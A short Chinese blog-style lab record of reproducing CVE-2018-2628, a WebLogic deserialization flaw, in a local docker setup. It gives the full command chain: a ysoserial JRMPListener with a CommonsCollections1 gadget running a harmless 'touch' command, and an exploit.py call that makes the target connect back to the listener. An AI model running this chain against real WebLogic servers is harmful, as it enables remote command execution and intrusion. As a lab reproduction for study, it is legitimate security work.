本文的漏洞复现参考了https://github.com/brianwrf/CVE-2018-2628,在此感谢大佬的付出。
在此只把自己的复现过程做个记录
JRMP:java remote method protocol,Java远程方法协议
JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。
JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol)
该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。
docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
#这里直接使用大佬配置好的环境
这里采用的是Ubuntu16.04+docker,docker容器作为weblogic靶机,在此JRMPListener主机指的是Ubuntu16.04。
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'touch /tmp/sss666.txt'
#'touch /tmp/sss666.txt'为我想执行的命令,1099是JRMP Server监听的端口。
python exploit.py 172.17.0.2 7001 ../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.185.43.215 1099 JRMPClien
#172.17.0.2 7001是weblogic靶机的IP和端口
#../ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 是ysoserial的本地路径根据自己真实路径填写
#10.185.43.215 1099的JRMP 一端的IP地址和端口
#JRMPClien是执行JRMPClient的类
docker exec -ti determined_stonebrak /bin/bash
#determined_stonebrak是我的docker靶机的名字,每个人创建的名字都不一样可使用docker ps查看NAME
ls /tmp/